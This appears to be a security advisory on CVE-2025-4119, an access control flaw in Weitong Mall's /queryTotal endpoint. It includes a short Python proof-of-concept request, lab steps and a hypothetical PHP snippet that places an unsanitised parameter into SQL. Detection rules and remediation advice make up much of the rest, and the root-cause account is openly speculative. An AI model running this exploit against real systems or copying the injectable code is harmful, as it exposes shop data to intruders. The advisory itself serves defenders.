CVE-2025-4119

Executive Summary

CVE-2025-4119 is a critical improper access control vulnerability in Weitong Mall version 1.0.0, specifically within the /queryTotal endpoint of the Product Statistics Handler. By manipulating the isDelete parameter to 1, an unauthenticated remote attacker can bypass authorization checks, potentially accessing or modifying sensitive product statistics data. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is currently available, making immediate mitigation essential.

Supply Chain & Package Security

This vulnerability affects a proprietary e-commerce application (Weitong Mall) and is not associated with any open-source package manager (NPM, PyPI, Go, Ruby). Therefore, supply chain package security considerations are not directly applicable. However, organizations using this software should verify the integrity of their deployment and monitor for any third-party dependencies that may be affected.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): High (H) – Potential unauthorized data access.
• Integrity (I): High (H) – Potential unauthorized data modification.
• Availability (A): None (N) – No direct impact on availability.

CVSS Score: 9.1 (Critical) – Based on the vector above.

Threat Level: Critical – Due to remote exploitability, lack of authentication, and public exploit disclosure.

Deep Dive & Mechanics

The vulnerability resides in the /queryTotal endpoint of Weitong Mall's Product Statistics Handler. The application fails to properly validate the isDelete parameter, allowing an attacker to set it to 1. This likely bypasses intended access controls that should restrict querying of deleted or sensitive product statistics. The improper access control (CWE-284) enables an attacker to retrieve or manipulate data that should be protected, such as internal sales figures, inventory counts, or historical product data.

The root cause is a missing or insufficient authorization check on the isDelete parameter. The application likely uses this parameter to filter results (e.g., isDelete=0 for active products), but does not verify that the requesting user has permission to view deleted records. By sending isDelete=1, the attacker gains access to data that should be restricted.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common remediation patterns.

Vulnerable Code (PHP example):

// /queryTotal endpoint
$isDelete = $_GET['isDelete'];
$query = "SELECT * FROM product_statistics WHERE isDelete = $isDelete";
$result = mysqli_query($conn, $query);
// No authorization check

Patched Code (Hypothetical):

// /queryTotal endpoint
session_start();
if (!isset($_SESSION['user_role']) || $_SESSION['user_role'] !== 'admin') {
    http_response_code(403);
    die('Forbidden');
}
$isDelete = intval($_GET['isDelete']);
$query = "SELECT * FROM product_statistics WHERE isDelete = $isDelete";
$result = mysqli_query($conn, $query);

The patched version adds a session-based authorization check to ensure only authenticated administrators can access the endpoint.

Exploitation & Lab Setup

Red Team

Exploit Proof of Concept (Python):

import requests

target = "http://target-weitong-mall.com"
endpoint = "/queryTotal"
params = {"isDelete": "1"}

response = requests.get(target + endpoint, params=params)
if response.status_code == 200:
    print("[+] Successfully accessed restricted data:")
    print(response.text)
else:
    print(f"[-] Failed with status code: {response.status_code}")

Lab Setup:

1. Deploy Weitong Mall 1.0.0 in a controlled environment (e.g., Docker container).
2. Ensure the /queryTotal endpoint is accessible without authentication.
3. Run the exploit script to verify data retrieval.

Blue Team

Detection & Response:

• Monitor for unusual requests to /queryTotal with isDelete=1 parameter.
• Implement Web Application Firewall (WAF) rules to block requests containing isDelete=1 from unauthenticated sources.
• Review access logs for patterns of repeated queries to this endpoint.

Honeypot Setup:

• Create a decoy /queryTotal endpoint that logs all requests and alerts on suspicious activity.

Indicators of Compromise (IOCs)

• Network: HTTP GET requests to /queryTotal?isDelete=1
• Log Entries: Unauthorized access attempts to product statistics endpoint.
• File System: Unexpected access to database records where isDelete=1.
• Behavioral: Anomalous queries to product statistics tables from non-admin IPs.

Detection Engineering

YARA Rule

rule CVE_2025_4119_Weitong_Mall_Exploit {
    meta:
        description = "Detects exploit attempts for CVE-2025-4119 in Weitong Mall"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-4119"
    strings:
        $exploit_pattern = "isDelete=1"
        $endpoint = "/queryTotal"
    condition:
        $exploit_pattern and $endpoint
}

Sigma Rule

title: CVE-2025-4119 Weitong Mall Improper Access Control
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests targeting /queryTotal with isDelete=1 parameter
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/queryTotal?isDelete=1'
    condition: selection
falsepositives:
    - Legitimate admin activity (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-4119 Weitong Mall Improper Access Control"; flow:to_server; content:"GET"; http_method; content:"/queryTotal"; http_uri; content:"isDelete=1"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the /queryTotal endpoint if not essential for business operations.
2. Implement authentication for all product statistics endpoints.
3. Apply input validation to ensure isDelete parameter only accepts expected values (e.g., 0 or 1) and enforce authorization checks.

Long-term Fix:

• Apply a vendor patch once available.
• Conduct a full security audit of the application for similar access control issues.
• Implement role-based access control (RBAC) across all sensitive endpoints.

Workaround:

• Use a Web Application Firewall (WAF) to block requests containing isDelete=1 from unauthenticated sources.
• Restrict network access to the application from trusted IPs only.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert